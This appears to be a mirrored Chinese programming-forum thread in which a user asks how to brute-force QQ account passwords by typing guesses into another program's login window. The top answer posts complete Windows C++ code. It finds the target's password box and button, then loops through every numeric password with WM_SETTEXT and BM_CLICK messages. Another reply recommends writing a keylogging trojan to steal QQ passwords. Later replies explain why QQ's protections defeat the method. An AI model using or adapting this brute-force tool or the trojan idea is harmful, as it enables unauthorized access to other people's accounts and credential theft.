首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > 开发语言 > C++ >

破译密码

2012-09-18 
破解密码怎么写一个像指定窗口输入密码,用于暴力破解如QQ密码的程序啊~~~???就是。。。。如何得到窗体句柄,并

破解密码
怎么写一个像指定窗口输入密码,用于暴力破解如QQ密码的程序啊~~~??? 

就是。。。。如何得到窗体句柄,并在密码框里,输入密码。。。 

说一下具体详细的方法。
想学习一下啊,我现在没分啊,若写出的步骤够详细的话,我以后赚到积分都给他,保证两个月内追加他100分,骗人天打雷劈。
谢谢帮助者啊!



[解决办法]
下面是我自己写的,如果有严重问题请轻喷,我只是自己写的好玩
各位大神放过我~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

C/C++ code
//首先声明这个是我写的给自己玩玩的程序,代码的规范性和函数的使用方法很多都不可取,只需要学习这个原理即可#include <windows.h>#include <stdio.h>#include <tchar.h>#include <iostream>using namespace std;HWND mHwnd;//为了图方便就直接全局句柄了,不要学我,命名也不规范HWND MHwnd;HWND THwnd;HWND BHwnd;HWND WHwnd;BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam)//这个是一个回调函数,只要不返回就一直运行{     if (!IsWindowVisible(hwnd)) return TRUE; // 如果窗口不可见,就忽略     TCHAR wndtext[128];     GetWindowText(hwnd, wndtext, 128); // 获取窗口标题    //这里使用strstr(wndtext, "应用程序出错")!=NULL来判断并加以处理     _tprintf(_T("%s 0x%08X - %s\n"), lParam, hwnd, wndtext);//显示窗口信息     int a=0;     cin>>a;//提供一个输入借口让使用者可以确定自己需要操作的东西在哪     if(a==1)     {         mHwnd= hwnd;         MHwnd= hwnd;         WHwnd= hwnd;         while(mHwnd!=NULL)         {           mHwnd=FindWindowEx(mHwnd, 0, NULL,NULL);//这个就是寻找窗口句柄的函数,我无限循环遍历所有句柄然后提供输入借口确定所需句柄           GetWindowText(mHwnd, wndtext, 128);            _tprintf(_T("%s0x%08X - %s\n"), lParam, mHwnd, wndtext);            cin>>a;            if(a==1)             THwnd=mHwnd;            //SendMessage(hwnd,WM_SETTEXT,0,(LPARAM)_T("123456"));         };         mHwnd= hwnd;         MHwnd=FindWindowEx(mHwnd, 0, NULL,NULL);//一旦确立的窗口句柄那么就进行更深一层的搜索,比如一个窗口上面的按钮或文本框,同样是手动确认目标,这里只写了两层         while(MHwnd!=NULL)         {            GetWindowText(MHwnd, wndtext, 128);            _tprintf(_T("%s0x%08X - %s\n"), lParam, MHwnd, wndtext);            cin>>a;            if(a==1)                BHwnd=MHwnd;            MHwnd=FindWindowEx(mHwnd, MHwnd, NULL,NULL);                 };     }     return TRUE;}int main(){     EnumWindows(EnumWindowsProc, (LPARAM)_T("+"));//调用这个函数之后就已经手动确认自己需要的按钮和输入框了,以下就是密码暴力(穷举)破解过程     char s[10];     MSG message;     int mima=0;     int temp=0;     int weishu;     cout<<"设置位数"<<endl;     cin>>weishu;     switch(weishu)     {     case 4:weishu=9999;break;     case 5:weishu=99999;break;     case 6:weishu=999999;break;     case 7:weishu=9999999;break;     case 8:weishu=99999999;break;     }     for(;mima<=weishu;mima++)         {            sprintf(s, "%d",mima);            SendMessage(THwnd,WM_SETTEXT,0,(LPARAM)s);//向指定的文本框发送指定的消息过去,我这里是发送的要输入的密码            SendMessage(BHwnd,BM_CLICK,0,0);//向指定的按钮发送点击消息            if(!IsWindow(WHwnd))//如果以上操作导致输入密码的窗口不再是窗口了就说明破解成功,退出循环,反之继续试密码                break;         }     if(mima>weishu)         cout<<"未能破解"<<endl;//最后输出的密码因为上面判断用的API函数有延迟,所以一般会有几十到一百多的误差     if(mima<=weishu)         cout<<"密码是"<<mima<<endl;     system("PAUSE");     return 0;}//使用本程序的方法就是://运行程序时会输出当前窗口的信息,输入1回车表示确认,其他表示跳过,跳过会继续显示其他窗口信息,确认会深入搜索两层的子窗口,当然你可以改代码找更深的子窗口。确认和跳过的方法一样//如果想单纯的做游戏外挂直接找按键精灵没必要找这个麻烦的东西,但是这个东西可以实现很多很多按键精灵没有办法实现的操作,看你的需要了
[解决办法]
有梦想就有希望,lz不错,努力。

推荐去看雪论坛经常看看,多学习,那有你想要的。

www.pediy.com
[解决办法]
1、需要密码字典
2、需要知道加密算法
3、狗屎运

4、鉴于以上比较难,推荐做比较简单的键盘扫描,如果发现QQ启动就进行扫描,也就是盗密码木马
[解决办法]
现在好多都有校验码的 
单纯暴力破解已经不行了
[解决办法]
探讨

1楼的真的好用吗???LZ给个评价

------解决方案--------------------


QQ 的密码登录时用的是保护控件不是普通的文本框,用消息根本不能对其进行任操作,它是直接读硬件,API对它无效。你还是请他吃饭好了。还有QQ的密码是经过MD5 循环加密,然后发到服务器端进行密文的验证,所以用暴力破解法你就别想了。
[解决办法]

探讨
引用:
QQ 的密码登录时用的是保护控件不是普通的文本框,用消息根本不能对其进行任操作,它是直接读硬件,API对它无效。你还是请他吃饭好了。还有QQ的密码是经过MD5 循环加密,然后发到服务器端进行密文的验证,所以用暴力破解法你就别想了。

你懂得真多啊,莫非你是在腾讯工作的啊!谢谢讲解啊!

看了我要给他100大洋了,还要请他吃饭啊,

TX……

[解决办法]
嗯,那是以前,QQ曾经用过一段韩国的保护技术,就是直接读键盘控制器,但是那个结束兼容性不好,极少数情况会蓝屏。所以新的采用的键盘钩子读的方式,这种方式不是特别安全,但是兼容性好。
不过应该仍然是无法直接API和SetWindow消息操作的,内部把那些API hook了。
不过注意QQ是在服务器进行验证的,为了防止暴力破解,每次验证的时间都比较长,有的时候要6、7秒,穷举10000个密码就要10个小时吧。10000个密码才不到3位呢,更多的为话,时间呈指数级增长啊,6位就要近700个世纪呢。
而且QQ本地保存了MD5,如果发现和上次输入的密码MD5不同,可能会提示输入验证码。
而且服务器那边如果检测发现帐户有问题,比如连续3、4次密码错误,也要输入验证码。
验证码机器识别这方面还一直是个难题呢,所以机器暴力穷举几乎是别想了。

热点排行